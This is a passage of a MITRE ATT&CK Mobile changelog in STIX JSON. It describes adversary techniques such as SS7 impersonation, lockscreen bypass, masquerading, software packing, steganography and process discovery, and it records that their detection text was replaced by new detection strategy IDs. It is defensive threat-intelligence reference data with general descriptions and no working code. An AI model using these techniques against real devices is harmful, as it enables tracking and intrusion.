"CSRIC-WG1-FinalReport" + }, + { + "source_name": "Positive-SS7", + "description": "Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.", + "url": "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf" + }, + { + "source_name": "Engel-SS7-2008", + "description": "Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.", + "url": "https://www.youtube.com/watch?v=q0n5ySqbfdI" + }, + { + "source_name": "Engel-SS7", + "description": "Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.", + "url": "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html", + "external_id": "CEL-38" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.309000+00:00\", \"old_value\": \"2025-01-21 16:22:43.947000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1014: Interconnection Filtering" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0662: Detection of Impersonate SS7 Nodes" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9ef05e3d-52db-4c12-be4f-519214bbe91f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 19:37:15.984000+00:00", + "modified": "2025-10-24 17:49:09.660000+00:00", + "name": "Remote Device Management Services", + "description": "An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1430/001", + "external_id": "T1430.001" + }, + { + "source_name": "Krebs-Location", + "description": "Brian Krebs. (2018, May 17). Tracking Firm LocationSmart Leaked Location Data for Customers of All Major U.S. Mobile Carriers Without Consent in Real Time Via Its Web Site. Retrieved November 8, 2018.", + "url": "https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", + "external_id": "ECO-5" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html", + "external_id": "EMM-7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.660000+00:00\", \"old_value\": \"2025-04-16 21:21:52.807000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Notifications)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0702: Detection of Remote Device Management Services" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:24.488000+00:00", + "modified": "2025-10-24 17:49:29.764000+00:00", + "name": "Lockscreen Bypass", + "description": "An adversary with physical access to a mobile device may seek to bypass the device\u2019s lockscreen. Several methods exist to accomplish this, including:\n\n* Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device\u2019s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device\u2019s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.(Citation: SRLabs-Fingerprint)(Citation: TheSun-FaceID)\n* Unlock code bypass: An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (\u201cshoulder surfing\u201d) the device owner\u2019s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.\n* Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.(Citation: Wired-AndroidBypass)(Citation: Kaspersky-iOSBypass)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1461", + "external_id": "T1461" + }, + { + "source_name": "Wired-AndroidBypass", + "description": "Andy Greenberg. (2015, September 15). Hack Brief: Emergency Number Hack Bypasses Android Lock Screens. Retrieved December 23, 2016.", + "url": "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/" + }, + { + "source_name": "Kaspersky-iOSBypass", + "description": "Chris Brook. (2016, November 17). iOS 10 Passcode Bypass Can Access Photos, Contacts. Retrieved December 23, 2016.", + "url": "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/" + }, + { + "source_name": "TheSun-FaceID", + "description": "Sean Keach. (2018, February 15). Brit mates BREAK Apple\u2019s face unlock and vow to never buy iPhone again. Retrieved September 18, 2018.", + "url": "https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/" + }, + { + "source_name": "SRLabs-Fingerprint", + "description": "SRLabs. (n.d.). Fingerprints are not fit for secure device unlocking. Retrieved December 23, 2016.", + "url": "https://srlabs.de/bites/spoofing-fingerprints/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.764000+00:00\", \"old_value\": \"2023-10-16 16:23:05.146000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can see if someone is watching them type in their device passcode.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0645: Detection of Lockscreen Bypass" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f856eaab-e84a-4265-a8a2-7bf37e5dc2fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-07-12 20:29:48.758000+00:00", + "modified": "2025-10-24 17:49:38.098000+00:00", + "name": "Masquerading", + "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name, location, or appearance of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1655)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1655", + "external_id": "T1655" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html", + "external_id": "APP-14" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "external_id": "APP-31" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.098000+00:00\", \"old_value\": \"2025-04-16 21:21:58.771000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"\\n\", \"diff\": \"--- \\n+++ \\n@@ -1 +0,0 @@\\n-\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Notifications)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0715: Detection of Masquerading" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--52eff1c7-dd30-4121-b762-24ae6fa61bbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-04-28 14:35:37.309000+00:00", + "modified": "2025-10-24 17:48:47.482000+00:00", + "name": "Native API", + "description": "Adversaries may use Android\u2019s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.\n\nThe NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started)\n\nAdversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1575", + "external_id": "T1575" + }, + { + "source_name": "Google NDK Getting Started", + "description": "Google. (2019, December 27). Getting Started with the NDK. Retrieved April 28, 2020.", + "url": "https://developer.android.com/ndk/guides" + }, + { + "source_name": "MITRE App Vetting Effectiveness", + "description": "M. Peck, C. Northern. (2016, August 22). Analyzing the Effectiveness of App Vetting Tools in the Enterprise. Retrieved April 28, 2020.", + "url": "https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.482000+00:00\", \"old_value\": \"2025-04-16 21:21:49.389000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0717: Detection of Native API" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:26.890000+00:00", + "modified": "2025-10-24 17:48:35.175000+00:00", + "name": "Network Service Scanning", + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1423", + "external_id": "T1423" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.175000+00:00\", \"old_value\": \"2025-04-16 21:21:47.481000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0696: Detection of Network Service Scanning" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--948a447c-d783-4ba0-8516-a64140fcacd5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-01 13:44:09.368000+00:00", + "modified": "2025-10-24 17:49:07.116000+00:00", + "name": "Non-Standard Port", + "description": "Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1509", + "external_id": "T1509" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.116000+00:00\", \"old_value\": \"2025-04-16 21:21:51.980000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Flow)", + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0706: Detection of Non-Standard Port" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:32.328000+00:00", + "modified": "2025-10-24 17:49:25.462000+00:00", + "name": "Obfuscated Files or Information", + "description": "Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n \nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Microsoft MalLockerB) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1406", + "external_id": "T1406" + }, + { + "source_name": "Microsoft MalLockerB", + "description": "D. Venkatesan. (2020, October 8). Sophisticated new Android malware marks the latest evolution of mobile ransomware . Retrieved October 29, 2020.", + "url": "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", + "external_id": "APP-21" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.462000+00:00\", \"old_value\": \"2025-04-16 21:21:55.894000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.\"}}}", + "previous_version": "3.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0720: Detection of Obfuscated Files or Information" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--51636761-2e35-44bf-9e56-e337adf97174", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 19:20:37.864000+00:00", + "modified": "2025-10-24 17:48:46.514000+00:00", + "name": "Software Packing", + "description": "Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. \n\nUtilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1406/002", + "external_id": "T1406.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS", + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.514000+00:00\", \"old_value\": \"2025-04-16 21:21:49.224000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0644: Detection of Software Packing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fa801609-ca8e-415e-815e-65f3826ff4df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 19:19:23.777000+00:00", + "modified": "2025-10-24 17:49:38.813000+00:00", + "name": "Steganography", + "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1406/001", + "external_id": "T1406.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.813000+00:00\", \"old_value\": \"2025-04-16 21:21:58.917000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0677: Detection of Steganography" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 15:27:34.300000+00:00", + "modified": "2025-10-24 17:49:34.162000+00:00", + "name": "Out of Band Data", + "description": "Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth. \n\n \n\nOn Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there. \n\n \n\nOn iOS, there is no way to programmatically read push notifications. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1644", + "external_id": "T1644" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.162000+00:00\", \"old_value\": \"2025-04-16 21:21:58.451000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If a user sees a notification with text they do not recognize, they should review their list of installed applications.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Notifications)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0688: Detection of Out of Band Data" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:33.926000+00:00", + "modified": "2025-10-24 17:48:28.244000+00:00", + "name": "Process Discovery", + "description": "Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. \n\n \n\nRecent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature. Prior to Android 7, applications could utilize the `ps` command or examine the `/proc` directory on the device.(Citation: Android-SELinuxChanges) \n\n \n\nIn iOS, applications have previously been able to use the `sysctl` command to obtain a list of running processes. This functionality has been removed in later iOS versions. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1424", + "external_id": "T1424" + }, + { + "source_name": "Android-SELinuxChanges", + "description": "Various. (2016, March 31). Overly restrictive SELinux filesystem permissions in Android N. Retrieved December 21, 2016.", + "url": "https://code.google.com/p/android/issues/detail?id=205565" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": 